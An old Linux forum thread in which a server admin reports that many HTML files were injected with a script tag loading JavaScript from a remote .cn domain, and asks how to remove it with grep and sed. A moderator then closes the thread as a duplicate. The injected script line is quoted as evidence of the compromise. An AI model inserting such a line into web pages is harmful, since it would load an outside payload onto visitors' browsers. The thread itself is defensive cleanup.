LinuxQuestions.org
Review your favorite Linux distribution.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Server
User Name
Password
Linux - Server This forum is for the discussion of Linux Software used in a server related context.

Notices


Closed Thread
  Search this Thread
Old 07-13-2010, 02:09 PM   #1
djlane
LQ Newbie
 
Registered: Jul 2010
Posts: 3

Rep: Reputation: 0
Help Needed with grep & sed


On one of my servers, it appears that a bunch of html files got the following code added to it...


Quote:
<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'

I can get the grep portion to work...
Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *
But not the sed part ...

Any help would be appreciated...

DJ
 
Old 07-13-2010, 02:52 PM   #2
GrapefruiTgirl
LQ Guru
 
Registered: Dec 2006
Location: underground
Distribution: Slackware64
Posts: 7,594

Rep: Reputation: 556Reputation: 556Reputation: 556Reputation: 556Reputation: 556Reputation: 556
As this is a duplicate of the thread at: http://www.linuxquestions.org/questi...nd-sed-819576/ this one has been closed. The programming area is a perfectly suitable area for this type of question, whether the issue is on a "server" or other sort of machine.

Please post your question in one location only; if for any reason you ever feel a question would be better served in a location other than where you initially placed it, feel free to contact a moderator using the REPORT button on your 1st post in a thread, and ask one of us to consider moving it for you. We're happy to help.

Cheers,

Sasha
 
  


Closed Thread



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Help to remove script data from file using grep & sed djlane Programming 1 07-13-2010 08:10 AM
Get data from multi lined text file using awk, sed or perl - grep & cut not upto par cam34 Programming 4 07-02-2010 03:10 AM
how to use grep/sed tnik Linux - General 3 11-06-2007 07:51 PM
bash script with grep and sed: sed getting filenames from grep odysseus.lost Programming 1 07-17-2006 11:36 AM
sed & grep script? dolvmin Linux - Software 20 09-22-2003 06:30 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Server

All times are GMT -5. The time now is 02:33 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration